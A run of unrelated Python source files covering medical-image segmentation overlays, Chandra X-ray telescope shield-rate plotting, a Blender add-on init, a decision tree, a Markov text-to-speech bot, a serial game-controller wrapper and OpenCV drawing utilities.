                    int(vol_ims.shape[2])
                ), interp="nearest"
            )
            viz_im = overlay(vol_im, seg_im, sim, alpha)
            ims.append(viz_im)
            if out_path:
                fpath = os.path.join(out_path,'{:05d}.png'.format(i))
                imwrite(fpath,viz_im)
        viz_ims = np.stack(ims)

    if plane == plane_opts[2]:
        spc_ratio = np.abs(np.sum(spacing[2,:]))/np.abs(np.sum(spacing[1,:]))
        ims = []
        for i in range(vol_ims.shape[2]):
            vol_im = scipy.misc.imresize(
                vol_ims[:,:,i], (
                    int(vol_ims.shape[0]*spc_ratio),
                    int(vol_ims.shape[1])
                ), interp="bicubic"
            )
            seg_im = scipy.misc.imresize(
                seg_ims[:,:,i], (
                    int(vol_ims.shape[0]*spc_ratio),
                    int(vol_ims.shape[1])
                ), interp="nearest"
            )
            sim = scipy.misc.imresize(
                seg[:,:,i], (
                    int(vol_ims.shape[0]*spc_ratio),
                    int(vol_ims.shape[1])
                ), interp="nearest"
            )
            viz_im = overlay(vol_im, seg_im, sim, alpha)
            ims.append(viz_im)
            if out_path:
                fpath = os.path.join(out_path,'{:05d}.png'.format(i))
                imwrite(str(fpath), viz_im)
        viz_ims = np.stack(ims)
    #网格显示
    n = int(np.shape(viz_ims)[0]**0.5) - 2
    fig,axes = plt.subplots(n,n,figsize=(100,100))
    k = 0
    for i in range(n):
        for j in range(n):
            axes[i][j].imshow(viz_ims[k])
            k += 1
    output = os.path.join(ROOT_PATH,'output')
    if not os.path.exists(output):
        os.mkdir(output)
    plt.savefig(os.path.join(output,str(cid)+'.png'))
    plt.show()

#显示图像
def imshow(title, imgs, shape=None, subtitle=None, cmap=None, transpose=False, pause=0.001, pltshow=True):
    if type(imgs) is tuple:
        num = len(imgs)
        if shape is not None:
            assert shape[0] * shape[1] == num
        else:
            shape = (1, num)

        if type(subtitle) is not tuple:
            subtitle = (subtitle,) * num
        else:
            assert len(subtitle) == num

        if type(cmap) is not tuple:
            cmap = (cmap,) * num
        else:
            assert len(cmap) == num

        fig = plt.figure(num=title, figsize=(shape[1] * 3, shape[0] * 3 + 0.5))
        fig.clf()
        fig.suptitle(title)

        fig.subplots(shape[0], shape[1], sharex=True, sharey=True)
        axes = fig.get_axes()

        for i in range(shape[0]):
            for j in range(shape[1]):
                idx = i * shape[1] + j
                axes[idx].set_title(subtitle[idx])

                cm = cmap[idx]
                img = imgs[idx]
                if cmap[idx] is None and len(img.shape) == 3:
                    if img.shape[0] == 1 or len(img.shape) == 2:
                        cm = 'gray'
                        if len(img.shape) == 3 and img.shape[0] == 1:
                            img = img.reshape((img.shape[1], img.shape[2]))
                    elif img.shape[0] == 3:
                        img = img.transpose((1, 2, 0))
                axes[idx].imshow(img, cm)
    else:
        if transpose:
            imgs = imgs.transpose((1, 2, 0))
        plt.figure(num=title)
        plt.suptitle(title)
        plt.title(subtitle)
        plt.imshow(imgs, cmap)
    if pltshow:
        plt.ion()
        plt.show()
        plt.pause(pause)
    return plt.gcf()

if __name__ == '__main__':
    desc = "Overlay a case's segmentation and store it as a series of pngs"
    parser = argparse.ArgumentParser(description=desc)
    parser.add_argument(
        "-c", "--case_id", required=True,
        help="The identifier for the case you would like to visualize"
    )
    parser.add_argument(
        "-d", "--destination", required=False,
        help="The location where you'd like to store the series of pngs"
    )
    parser.add_argument(
        "-u", "--upper_hu_bound", required=False, default=DEFAULT_HU_MAX,
        help="The upper bound at which to clip HU values"
    )
    parser.add_argument(
        "-l", "--lower_hu_bound", required=False, default=DEFAULT_HU_MIN,
        help="The lower bound at which to clip HU values"
    )
    parser.add_argument(
        "-p", "--plane", required=False, default=DEFAULT_PLANE,
        help=(
            "The plane in which to visualize the data"
            " (axial, coronal, or sagittal)"
        )
    )
    args = parser.parse_args()
    display(
        args.case_id, args.destination,
        hu_min=args.lower_hu_bound, hu_max=args.upper_hu_bound,
        plane=args.plane
    )


#!/usr/bin/env conda run -n ska3 python
import os
import argparse
import datetime as dt
import json
import socket
import sys
import time
import urllib.request
from urllib.error import HTTPError

import matplotlib.dates as mdate
import numpy as np
import pytz
import requests
import yaml
from astropy.table import Table
from astropy.time import Time
from Chandra.Time import DateTime as cxcDateTime
from cheta import fetch
from kadi import events
from matplotlib import pyplot as plt
from matplotlib.patches import Rectangle
from Ska.Matplotlib import cxctime2plotdate as cxc2pd

from global_configuration import allowed_hosts
import plot_stylers
from chandratime import cxctime_to_datetime as cxc2dt, convert_to_doy
from goes_proxy import get_goes_proxy
from plot_helpers import drawnow

from heartbeat import timestamp_string

def grab_orbit_metadata(plot_start=dt.date.today() - dt.timedelta(days=5)):
    '''
    Use the web-Kadi API to grab orbit metadata.
    This allows us to query Kadi and avoid the events.db3 update hiccup

    See here for web-Kadi: https://kadi.cfa.harvard.edu/api/
    '''
    orbit_metadata = {}

    for event in ("orbits", "dsn_comms"):

        request_string = f"https://kadi.cfa.harvard.edu/api/ska_api/kadi/events/{event}/filter?start={convert_to_doy(plot_start)}&stop={convert_to_doy(dt.date.today() + dt.timedelta(days=3))}"

        with urllib.request.urlopen(request_string, timeout=40) as url:
            orbit_metadata[event] = json.load(url)

        time.sleep(10)

    return orbit_metadata

def make_shield_plot(fig_save_directory='/proj/web-icxc/htdocs/hrcops/hrcmonitor/plots/', plot_start=dt.date.today() - dt.timedelta(days=5), plot_stop=dt.date.today() + dt.timedelta(days=3), custom_ylims=None, show_plot=False, custom_save_name=None, figure_size=(16, 8), save_dpi=300, show_in_gui=False):
    '''
    Create a shield plot. Fix this.
    '''

    # Get the orbit metadata. Don't die if it fails. Try three times.
    attempts = 0
    max_attempts = 4  # how many times to try to get the metadata
    using_stale_orbit_metadata = True
    while attempts <= max_attempts:
        try:
            orbit_metadata = grab_orbit_metadata(
                plot_start=plot_start)
            # Save that successfully fetched orbit metadata as a json file for loading just in case
            with open("last_orbit_metadata.json", "w") as orbit_metadata_json_file:
                json.dump(orbit_metadata, orbit_metadata_json_file)
            using_stale_orbit_metadata = False
            # print(
            #     f'Successfully fetched orbit metadata and saved it as last_orbit_metadata.json.')
            break

        except HTTPError:
            attempts += 1
            time.sleep(10)  # give the server a few to chill...
            # You can print this, but it's annoying
            # print(
            #     f'({timestamp_string()}) Got 500 Error from Kadi server. Trying again...')

    if attempts > max_attempts:
        # then give up and try to load the json file
        try:
            with open("last_orbit_metadata.json", "r") as orbit_metadata_json_file:
                orbit_metadata = json.load(orbit_metadata_json_file)
            using_stale_orbit_metadata = True
            print(f'({timestamp_string()}) Orbit metadata fetch failed after {max_attempts} attempts. Using stale metadata instead.', end='\r', flush=True)

        except Exception as e:
            print(
                f'({timestamp_string()}) Could not load orbit metadata from json file: {e}')
            print(
                f'({timestamp_string()}) This will probably resolve soon, so we will press on.')
            orbit_metadata = None

    fetch.data_source.set('maude allow_subset=False')

    msidlist = ['2TLEV1RT', '2VLEV1RT', '2SHEV1RT']
    namelist = ['Total Event Rate', 'Valid Event Rate', 'AntiCo Shield Rate']

    fig, ax = plt.subplots(figsize=figure_size)

    for i, msid in enumerate(msidlist):
        data = fetch.get_telem(msid, start=convert_to_doy(
            plot_start), sampling='full', max_fetch_Mb=100000, max_output_Mb=100000, quiet=True)
        # ax.plot(data[msid].times, data[msid].vals, label=msid)
        ax.plot_date(cxc2dt(
            data[msid].times), data[msid].vals, marker='o', fmt="", markersize=1.5, label=namelist[i])

    # Try to plot the GOES proxy rates. Don't die if it fails.
    try:
        goes_times, goes_rates = get_goes_proxy()
        ax.plot_date(goes_times, goes_rates, marker=None, fmt="",
                     alpha=0.8, zorder=1, label='GOES-16 Proxy')
    except Exception as e:
        # This is bad practice but I don't give a !@#$%
        print('Error grabbing GOES proxy: {}'.format(e))

    ax.set_ylabel(r'Event Rates (counts s$^{-1}$)', fontsize=10)
    ax.set_xlabel('Date', fontsize=10)
    ax.set_yscale('log')  # symlog will show zero but it's kinda not needed
    if custom_ylims is None:
        ax.set_ylim(10, 2000000)
    elif custom_ylims is not None:
        ax.set_ylim(custom_ylims[0], custom_ylims[1])
    ax.set_xlim(plot_start, plot_stop)
    if using_stale_orbit_metadata:
        ax.set_title("Shield & Detector Rates as of {} EST | Orbit metadata is out-of-date".format(dt.datetime.now(tz=pytz.timezone(
            'US/Eastern')).strftime('%Y-%b-%d %H:%M:%S')), color='slategray', size=12, pad=20)
    else:
        ax.set_title("Shield & Detector Rates as of {} EST".format(dt.datetime.now(tz=pytz.timezone(
            'US/Eastern')).strftime('%Y-%b-%d %H:%M:%S')), color='slategray', size=12, pad=20)
    ax.axhline(60000, color=plot_stylers.red,
               linewidth=2, label='SCS 107 Limit')

    ax.text(dt.datetime.now(tz=pytz.timezone('US/Eastern')), ax.get_ylim()[1],
            'Now', fontsize=12, color='slategray', zorder=3, ha='center')
    ax.axvline(dt.datetime.now(tz=pytz.timezone(
        'US/Eastern')), color='gray', alpha=0.5)

    if orbit_metadata is not None:

        for i, comm in enumerate(orbit_metadata["dsn_comms"]):

            comm_start_raw = comm['tstart'] + 3600
            comm_stop_raw = comm['tstop']

            comm_start = cxc2dt(comm_start_raw)
            comm_stop = cxc2dt(comm_stop_raw)
            comm_midpoint = cxc2dt(
                (comm_stop_raw + comm_start_raw) / 2)

            # comm_midpoint = mdate.num2date((cxc2pd(cxcDateTime(
            #     comm['tstart']).secs) + cxc2pd(cxcDateTime(comm['tstop']).secs)) / 2)

            # we assume call-up to bot is 1 hour here. rough.
            comm_duration = np.round((comm['dur'] - 3600) / 3600, 1)

            ax.axvspan(comm_start, comm_stop, ymin=0.65, ymax=0.76,
                       alpha=0.3, color='cornflowerblue', zorder=2)

            # ax.add_patch(Rectangle((1, 1), 2, 6))

            ax.text(comm_midpoint, 120000, f"Comm \n {comm['station'][:6]} \n ~{comm_duration} hr",
                    color='cornflowerblue', fontsize=6, ha='center', clip_on=True)

        for i, orbit in enumerate(orbit_metadata["orbits"]):

            # # Radzone t_start is with respect to t_perigee, not t_start!

            radzone_start_raw = orbit['t_perigee'] + orbit['dt_start_radzone']
            radzone_stop_raw = orbit['t_perigee'] + orbit['dt_stop_radzone']

            radzone_start = cxc2dt(radzone_start_raw)
            radzone_stop = cxc2dt(radzone_stop_raw)

            radzone_midpoint = cxc2dt(
                (radzone_stop_raw + radzone_start_raw) / 2)

            ax.axvspan(radzone_start, radzone_stop,
                       alpha=0.3, color='slategray', zorder=1)
            ax.text(radzone_midpoint, 300000, f"Radzone for \n Orbit {orbit['orbit_num']}", color='slategray',
                    fontsize=6, ha='center', clip_on=True)

    ax.legend(prop={'size': 12}, loc='lower left')
    ax.legend(markerscale=6)

    plt.xticks(fontsize=12)
    plt.yticks(fontsize=12)

    if custom_save_name is None:
        fig.savefig(fig_save_directory + 'events.png',
                    dpi=save_dpi, bbox_inches='tight')
        fig.savefig(fig_save_directory + 'events.pdf',
                    dpi=save_dpi, bbox_inches='tight')
    elif custom_save_name is not None:
        fig.savefig(custom_save_name, dpi=save_dpi, bbox_inches='tight')

    if show_in_gui is True:
        plt.show(block=False)

def parse_args():

    argparser = argparse.ArgumentParser()

    argparser.add_argument('--monitor', action='store_true')
    argparser.add_argument('--verbose', action='store_true')

    args = argparser.parse_args()

    return args

if __name__ == "__main__":

    args = parse_args()

    hostname = socket.gethostname().split('.')[0]

    if hostname in allowed_hosts:
        fig_save_directory = allowed_hosts[hostname]
        print('Recognized host: {}. Plots will be saved to {}'.format(
            hostname, fig_save_directory))
    else:
        sys.exit('Error: Hostname {} not recognized'.format(hostname))

    if args.monitor is False:
        print('Creating a single Shield Plot...')
        make_shield_plot(fig_save_directory=fig_save_directory,
                         show_plot=True)
        plt.show()
        print('Done')
    elif args.monitor is True:

        plot_kwargs = {'fig_save_directory': fig_save_directory,
                       'show_plot': False,
                       'plot_start': dt.date.today() - dt.timedelta(days=1),
                       'custom_ylims': (2000, 7000)
                       }
        plt.ion()
        while True:
            drawnow(make_shield_plot, **plot_kwargs)


from bseq.utils import refresh_obj
from .operators import BSEQ_OT_load, BSEQ_OT_edit, BSEQ_OT_resetpt, BSEQ_OT_resetmesh, BSEQ_OT_resetins, BSEQ_OT_set_as_split_norm, BSEQ_OT_remove_split_norm, BSEQ_OT_disable_selected, BSEQ_OT_enable_selected, BSEQ_OT_refresh_seq, BSEQ_OT_disable_all, BSEQ_OT_enable_all, BSEQ_OT_refresh_sequences, BSEQ_OT_set_start_end_frames, WM_OT_batchSequences, WM_OT_MeshioObject
from .properties import BSEQ_scene_property, BSEQ_obj_property, BSEQ_mesh_property
from .panels import BSEQ_UL_Obj_List, BSEQ_List_Panel, BSEQ_Settings, BSEQ_Import, BSEQ_Templates, BSEQ_UL_Att_List, draw_template
from .messenger import subscribe_to_selected, unsubscribe_to_selected
import bpy
from bpy.app.handlers import persistent
from .importer import update_obj
from .globals import *

@persistent
def BSEQ_initialize(scene):
    if update_obj not in bpy.app.handlers.frame_change_post:
        bpy.app.handlers.frame_change_post.append(auto_refresh)
        bpy.app.handlers.frame_change_post.append(update_obj)
    subscribe_to_selected()
    if print_information not in bpy.app.handlers.render_init:
        bpy.app.handlers.render_init.append(print_information)

__all__ = [
    "BSEQ_OT_edit",
    "BSEQ_OT_load",
    "BSEQ_obj_property",
    "BSEQ_initialize",
    "BSEQ_Import",
    "BSEQ_List_Panel",
    "BSEQ_UL_Obj_List",
    "BSEQ_scene_property",
    "BSEQ_Templates",
    "BSEQ_Settings",
    "BSEQ_UL_Att_List",
    "subscribe_to_selected",
    "BSEQ_OT_resetpt",
    "BSEQ_OT_resetmesh",
    "BSEQ_OT_resetins",
    "draw_template",
    "unsubscribe_to_selected",
    "BSEQ_OT_set_as_split_norm",
    "BSEQ_mesh_property",
    "BSEQ_OT_remove_split_norm",
    "BSEQ_OT_disable_selected",
    "BSEQ_OT_enable_selected",
    "BSEQ_OT_refresh_seq",
    "BSEQ_OT_disable_all",
    "BSEQ_OT_enable_all",
    "BSEQ_OT_refresh_sequences",
    "BSEQ_OT_set_start_end_frames",
    "WM_OT_batchSequences",
    "WM_OT_MeshioObject"
]


import math
import numpy as np
from collections import Counter
from typing import Any
from Node import Node

class DecisionTree:
    # TODO: Cleanup docstrings and typehints as well as general style guide
    # A binary decision tree structure
    def __init__(self, min_samples_split: int = 2, max_depth: int = 100, n_features: int = None) -> None:
        # Stopping criteria
        self.min_samples_split = min_samples_split
        self.max_depth = max_depth
        self.n_features = n_features # May only want to use a subset of features
        # self.data = data # Same logic as in node, don't need dataset stored in here past training, waste of memory.
        self.root = None

    def fit(self, X: np.ndarray, y: np.ndarray) -> None: # Hey look, a better idea is to have the labels split off from the beginning, like every fucking lesson you've looked at!
        # TODO: better error check/exception raise
        self.n_features = X.shape[1] if not self.n_features else min(X.shape[1], self.n_features)
        self.root = self._grow_tree(X, y)

    def predict(self, X_test: np.ndarray) -> np.ndarray:
        # For each example, traverse the tree.
        # TODO: Surely this can be vectorized >_>
        return np.array([self._traverse_tree(x, self.root) for x in X_test])

    def _grow_tree(self, X: np.ndarray, y: np.ndarray, depth: int = 0) -> Node:
        n_samples, n_feats = X.shape
        n_labels = len(np.unique(y))

        # Check stopping criteria
        if (depth >= self.max_depth or n_labels == 1 or n_samples < self.min_samples_split):
            # if n_labels is 1, trivial, else, go for most common
            # Probably not worth splitting to avoid using the method for gains
            leaf_value = self._most_common_label(y)
            return Node(value = leaf_value)

        feature_indices = np.random.choice(n_feats, self.n_features, replace = False)

        # Find the best split
        best_feature, best_threshold = self._choose_feature(X, y, feature_indices)

        # Create child nodes and recursively call method
        # Don't like that I'm splitting on this feature a second time, but I guess nothing to be done about it...or is there?
        L, R = self._split_data(X[:, best_feature], best_threshold)
        left = self._grow_tree(X[L, :], y[L], depth + 1)
        right = self._grow_tree(X[R, :], y[R], depth + 1)
        return Node(best_feature, best_threshold, left, right)

    def _most_common_label(self, y: np.ndarray) -> int:
        # TODO: Much easier with 1/0 or T/F without the collections import, maybe data clean to get to that stage. Then again, who gaf?
        counter = Counter(y)
        return counter.most_common(1)[0][0]

    # Feature indices used when randomizing feats for use in random forests
    def _choose_feature(self, X: np.ndarray, y: np.ndarray, feature_indices: np.ndarray) -> tuple:
        # gain, index, threshold
        curr_best = (-1, None, None)
        for feature_index in feature_indices:
            X_col = X[:, feature_index]
            # TODO: This only really works with non-continuous data, or limited classes. It does limit splits to binary though, which is nice (and also correct, but fight the power, maaaan)
            thresholds = np.unique(X_col)
            for thresh in thresholds: # lol mixing and matching full and shorthand
                IG = self._information_gain(X_col, y, thresh)
                if (IG > curr_best[0]):
                    curr_best = (IG, feature_index, thresh)

        return curr_best[1:]

    def _split_data(self, X_col: np.ndarray, threshold: Any) -> tuple:
        # L, R = X_col[X_col[:] == threshold], X_col[X_col[:] != threshold]
        # ^ Clumsy, np has argwhere!
        L = np.argwhere(X_col <= threshold).flatten()
        R = np.argwhere(X_col > threshold).flatten()
        # indices!
        return L, R

    def _information_gain(self, X_col, y, split_threshold):
        # X_col = X[:, split_index]

        # Fraction of examples in root with meeting the threshold
        # p_root = None # Not needed with the new entropy method
        root_entropy = self._entropy(y)

        # Split nodes
        L, R = self._split_data(X_col, split_threshold)
        if (len(L) == 0 or len(R) == 0):
            # No info gain
            return 0

        # Weighted averages of the split nodes' entropies
        len_y, len_l, len_r = len(y), len(L), len(R)
        w_l, w_r = len_l / len_y, len_r / len_y

        # pl (float): The fraction of examples in the left subtree that have a positive label
        # pr (float): The fraction of examples in the right subtree that have a positive label
        # wl (float): The fraction of examples from the root node that end up in the left subtree
        # wr (float): The fraction of examples from the root node that end up in the right subtree
        # Lots of refactoring from the main file, maybe plan better, nerd.
        return root_entropy - (w_l * self._entropy(y[L]) + w_r * self._entropy(y[R]))

    def _entropy(self, y):
        # This works better than _calculate_entropy below as you can just feed in the column!
        # Thanks, AbacusAI channel
        hist = np.bincount(y)
        ps = hist / len(y)
        # TODO: double check this - it feels wrong or like it doesn't catch errors
        return np.sum(-p * math.log(p, 2) - (1 - p) * math.log(1 - p, 2) for p in ps if p not in (0, 1)) # else 0) (handled by just not including it)

    # TODO: Does this fit here, from a design perspective? Not really a dec. tree thing uniquely. Maybe a helper function file instead.
    def _calculate_entropy(self, p: float) -> float:
        """
        Calculates the entropy of some probability, p. The negative case is implicit.
        By convention, log(0) is treated as 0.

        Args:
            p (float): In range [0, 1]. The ratio of positive cases.

        Returns:
            (float): The calculated entropy.

        Raises:
            ValueError: When the ratio of positive cases does not fall into the range of [0, 1]
        """
        if p < 0 or p > 1:
            raise ValueError("The probability must be in range [0, 1]")

        try:
            H = -p * math.log(p, 2) - (1 - p) * math.log(1 - p, 2)
        except ValueError:
            # p is 0 or 1, by convention this is treated as 0 entropy
            H = 0

        return H

    def _traverse_tree(self, x, node):
        # Recursive!
        if (node.is_leaf_node()):
            return node.value
        else:
            # Grab the feature and threshold, if matches, left, else right
            if (x[node.feature] <= node.threshold):
                return self._traverse_tree(x, node.left)
            else:
                return self._traverse_tree(x, node.right)


# !/usr/bin/env python3
# @Time    : 2020/7/30
# @Author  : caicai
# @File    : from_json_import.py

import json

def get_data_from_jsonfile(filename):
    datas = []
    with open(filename, errors="ignore") as f:
        lines = f.readlines()
        for line in lines:
            try:
                dic = json.loads(line.strip())
                datas.append(
                    {
                        "filter": dic.get("filter", True),
                        "scan": dic.get("scan", False),
                        "addr": str(dic.get("addr")),
                        "port": int(dic.get("port")),
                        "type": dic.get("type", "tcp"),
                        "service": dic.get("service")
                    }
                )

            except Exception as e:
                print("process get_data_from_jsonfile error: {}".format(e))
    return datas


#!/bin/python
from time import sleep
import markovify
import json
import os
from random import randint
import requests as re
import io
os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = "hide"
import pygame.mixer

class Model:
    def __init__(self):
        self.model = None
        if os.path.exists("model.json"):
            self.load_model()
        else:
            self.create_model()
            self.write_model()

    def load_model(self):
        with open("model.json") as file:
            self.model = markovify.Text.from_json(file.read())

    def create_model(self):
        with open("data.json") as file:
            data = " ".join(json.loads(file.read()))
        self.model = markovify.Text(data)
        self.model.compile()

    def write_model(self):
        # creating and compiling a model is slow so we save it to a file
        model_json = self.model.to_json()
        with open("model.json", "w") as file:
            file.write(model_json)

    def make_sentence(self, length: int):
        return self.model.make_short_sentence(length)

def main():
    url = "https://api.streamelements.com/kappa/v2/speech?voice=Brian&text="
    markov = Model()
    pygame.mixer.init()
    print("Running ...")
    freq_start = os.getenv("MARKOV_START")
    freq_end = os.getenv("MARKOV_END")
    if freq_start is None:
        freq_start = 60
    if freq_end is None:
        freq_end = 120
    while True:
        sentence = markov.make_sentence(300)
        resp = re.get(url+sentence, stream=True)
        try:
            sound_file = io.BytesIO(resp.content)
        except Exception:
            continue
        pygame.mixer.Sound(sound_file).play()
        try:
            sleep(randint(freq_start, freq_end))
        except KeyboardInterrupt:
            print()
            quit()

if __name__ == "__main__":
    main()


# Microcontroller does it like
# char t[8];
# char c[16];
# sscanf(line, "%s %s", t, c);

from os import getenv
from time import sleep
from serial import Serial
from time import sleep

DEFAULT_PORT='/dev/ttyUSB0'
PORT = getenv('SER_CONTROLLER', DEFAULT_PORT)

class BadButtonError(Exception):
    pass

class SwitchController():
    def __init__(self, port=PORT, boc=False):
        self.port = port
        self.baudrate = 9600
        self.boc = False
        self.ser = None

    valid_buttons = {"A",
                     "B",
                     "X",
                     "Y",
                     "L",
                     "R",
                     "ZL",
                     "ZR",
                     "SELECT",
                     "START",
                     "LCLICK",
                     "RCLICK",
                     "HOME",
                     "CAPTURE",
                     "RELEASE"}

    valid_sticks = {"LX",
                    "LY",
                    "RX",
                    "RY"}

    valid_stick_positions = {"MIN",     # 0
                             "CENTER",  # 128
                             "MAX"}     # 255

    valid_hat_positions = {"TOP",
                           "TOP_RIGHT",
                           "RIGHT",
                           "BOTTOM_RIGHT",
                           "BOTTOM",
                           "BOTTOM_LEFT",
                           "LEFT",
                           "TOP_LEFT",
                           "CENTER"}

    def block_on_connect(self):
        p = Path(self.port)
        elapsed = float(0)
        while not p.exists():
            print(f'Waiting {elapsed}s for controller on {self.port}...')
            sleep(0.25)
        print('...Got it!')
        return str(p)

    def __enter__(self):
        if self.boc:
            block_on_connect()
        #print(f'Opening {self.port}')
        self.ser = Serial(self.port, self.baudrate)
        return self

    def __exit__(self, *args):
        #print(f'Closing {self.port}')
        self.ser.close()

    @staticmethod
    def fcmd(msg):
        return f'{msg}\r\n'.encode('utf-8')

    def send(self, cmd, dur=0.1, rel=True):
        self.ser.write(self.fcmd(cmd))
        sleep(dur)
        if rel:
            self.ser.write(b'RELEASE\r\n')

    def release(self, **kwargs):
        self.send('RELEASE', **kwargs)

    def button(self, b, **kwargs):
        if b not in self.valid_buttons:
            raise BadButtonError(b)
        self.send(f'Button {b}', **kwargs)

    def stick(self, s, p, **kwargs):
        if s not in self.valid_sticks:
            raise BadButtonException
        if p not in self.valid_stick_positions:
            raise BadButtonError(s, p)
        self.send(f'{s} {p}', **kwargs)

    def hat(self, p, **kwargs):
        if p not in self.valid_hat_positions:
            raise BadButtonError(p)
        self.send(f'HAT {p}', **kwargs)


import os, os.path as op
import shutil
import logging
import cv2
import numpy as np
import pprint
import matplotlib.pyplot as plt

from lib.backend import backendDb
from lib.utils import utilBoxes

FONT = cv2.FONT_HERSHEY_SIMPLEX
SCALE = 28
FONT_SIZE = 0.7
THICKNESS = 3

def validateFileName(filename):
    invalid = '<>:\'"/\\|?+=!@#$%^&*,.~`'
    filename = maybeDecode(filename)
    for char in invalid:
        filename = filename.replace(char, '_')
    return filename

def maybeDecode(string):
    '''
    Db entries may be not in Unicode. Call this function to use db entries
    to name files in a filesystem.
    '''
    if isinstance(string, bytes):
        return string.decode('UTF-8')
    else:
        return string

def copyWithBackup(in_path, out_path):
    ''' Copy in_path into out_path, which is backed up if already exists. '''

    if not op.exists(in_path):
        raise FileNotFoundError('File does not exist: "%s"' % in_path)
    if op.exists(out_path):
        logging.warning('Will back up existing out_path "%s"', out_path)
        ext = op.splitext(out_path)[1]
        backup_path = op.splitext(out_path)[0] + '.backup%s' % ext
        if in_path != out_path:
            if op.exists(backup_path):
                os.remove(backup_path)
            os.rename(out_path, backup_path)
        else:
            shutil.copyfile(in_path, backup_path)
    if in_path != out_path:
        # copy input file into the output one
        shutil.copyfile(in_path, out_path)

def drawScoredRoi(img, roi, label=None, score=None):
    '''
    Draw a bounding box on top of image.
    Args:
      img:      Numpy color image.
      roi:      List/tuple [y1, x1, y2, x2].
      label:    String to print near the bounding box or None.
      score:    A float in range [0, 1] or None.
    Return:
      Nothing, 'img' is changed in place.
    '''
    assert len(img.shape) == 3 and img.shape[2] == 3, (
        'Image must be color, but is grayscale: %s' % str(img.shape))
    assert score is None or score >= 0 and score <= 1
    if label is None:
        label = ''
    label = maybeDecode(label)
    if score is None:
        score = 1
    color = tuple([int(x * 255)
                   for x in plt.cm.get_cmap('jet')(float(score))][0:3][::-1])
    roi = [int(a) for a in roi]  # In case some function did not cast them.
    cv2.rectangle(img, (roi[1], roi[0]), (roi[3], roi[2]), color, THICKNESS)
    text_coords = (roi[1], roi[0] - SCALE)
    cv2.putText(img, label, text_coords, FONT, FONT_SIZE, (0, 0, 0), THICKNESS)
    cv2.putText(img, label, text_coords, FONT, FONT_SIZE, (255, 255, 255),
                THICKNESS - 1)

def drawScoredPolygon(img, polygon, label=None, score=None):
    '''
    Args:
      img:      Numpy color image.
      polygon:  List of tuples (x,y)
      label:    String to print near the bounding box or None.
      score:    A float in range [0, 1] or None.
    Returns:
      Nothing, 'img' is changed in place.
    '''
    assert len(img.shape) == 3 and img.shape[2] == 3, (
        'Image must be color, but is grayscale: %s' % str(img.shape))
    if label is None:
        label = ''
    if isinstance(label, bytes):
        label = label.decode('UTF-8')
    if score is None:
        score = 1
    color = tuple([int(x * 255)
                   for x in plt.cm.get_cmap('jet')(float(score))][0:3][::-1])
    # In case some function did not cast them.
    polygon = [(int(x), int(y)) for x, y in polygon]
    for i1 in range(len(polygon)):
        i2 = (i1 + 1) % len(polygon)
        cv2.line(img, tuple(polygon[i1]), tuple(polygon[i2]), color, THICKNESS)
    # Draw a label.
    xmin = polygon[0][0]
    ymin = polygon[0][1]
    for i in range(len(polygon) - 1):
        xmin = min(xmin, polygon[i][0])
        ymin = min(ymin, polygon[i][1])
    text_coords = (xmin, ymin - SCALE)
    cv2.putText(img, label, text_coords, FONT, FONT_SIZE, (0, 0, 0), THICKNESS)
    cv2.putText(img, label, text_coords, FONT, FONT_SIZE, (255, 255, 255),
                THICKNESS - 1)

def drawTextOnImage(img, text):
    '''
    Draw text on image in the corner of the image.
    Returns:
      Nothing. Input "img" is changed in place.
    '''
    imheight, _ = img.shape[0:2]
    fontscale = float(imheight) / 500
    thickness = max(imheight // 100, 1)
    offsety = int(fontscale * 40)
    logging.debug('Using offset=%s, fontscale=%s, thickness=%s', offsety,
                  fontscale, thickness)
    text_coords = (5, offsety)
    if thickness == 1:
        cv2.putText(img, text, text_coords, FONT, fontscale, (255, 255, 255),
                    thickness)
    else:
        cv2.putText(img, text, text_coords, FONT, fontscale, (0, 0, 0),
                    thickness)
        cv2.putText(img, text, text_coords, FONT, fontscale, (255, 255, 255),
                    thickness - 1)

def applyLabelMappingToMask(mask, labelmap):
    '''
    Args:
      mask:     numpy 2-dim array, the same HxW as img.
      labelmap: dict from mask values to output values Key->Value, where:
                Key is scalar int in [0, 255] or a str type ">=N", "<=N", or "[M,N]".
                If Value is a scalar, the mask stays grayscale,
                if Value is a tuple (r,g,b), the mask is transformed to color.
                Examples {1: 255, 2: 128} or {1: (255,255,255), 2: (128,255,0)}.
                If not specified, the mask is used as is.
    Returns:
      mask      Mapped mask of type float
    '''
    logging.debug('Before mapping, mask had values %s',
                  set(mask.flatten().tolist()))

    if len(mask.shape) == 3:
        raise NotImplementedError('Color masks are not supported now.')

    logging.debug('Labelmap: %s', labelmap)
    if len(labelmap) is 0:
        raise ValueError('"labelmap" is empty.')

    dmask = None
    for key, value in labelmap.items():

        # Lazy initialization of dmask.
        if dmask is None:
            if isinstance(value, (list, tuple)) and len(value) == 3:
                # Create a dmask of shape (3, H, W)
                dmask = np.empty(
                    (3, mask.shape[0], mask.shape[1]), dtype=np.uint8) * np.nan
            elif isinstance(value, int):
                # Create a dmask of shape (H, W)
                dmask = np.empty(mask.shape[0:2], dtype=np.uint8) * np.nan
            else:
                raise TypeError('Values of "labelmap" are neither '
                                'a collection of length 3, not a number.')

        if isinstance(key, int):
            roi = mask == key
        elif isinstance(key, str) and len(key) >= 2 and key[0] == '>':
            roi = mask > int(key[1:])
        elif isinstance(key, str) and len(key) >= 2 and key[0] == '<':
            roi = mask < int(key[1:])
        elif isinstance(key, str) and len(key) >= 3 and key[0:2] == '>=':
            roi = mask >= int(key[2:])
        elif isinstance(key, str) and len(key) >= 3 and key[0:2] == '<=':
            roi = mask <= int(key[2:])
        elif isinstance(key, str) and len(
                key) >= 5 and key[0] == '[' and key[-1] == ']' and ',' in key:
            key1, key2 = tuple([int(x) for x in key[1:-1].split(',')])
            roi = np.bitwise_and(mask >= key1, mask <= key2)
        else:
            raise TypeError(
                'Could not interpret the key "%s". Must be int '
                'or string of type "<N", "<=N", ">N", ">=N", "[M,N]".' % key)

        # For grayscale target.
        if len(dmask.shape) == 2 and isinstance(value, int):
            dmask[roi] = value
        # For color target.
        elif len(dmask.shape) == 3 and isinstance(
                value, (list, tuple)) and len(value) == 3:
            dmask[0][roi] = value[0]
            dmask[1][roi] = value[1]
            dmask[2][roi] = value[2]
        else:
            raise ValueError(
                '"labelmap" value %s mismatches dmask\'s shape %s' %
                (value, dmask.shape))
        logging.debug('key: %s, value: %s, numpixels: %d.', key, value,
                      np.count_nonzero(roi))

    if len(dmask.shape) == 3:
        # From (3, H, W) to (H, W, 3)
        dmask = np.transpose(dmask, (1, 2, 0))
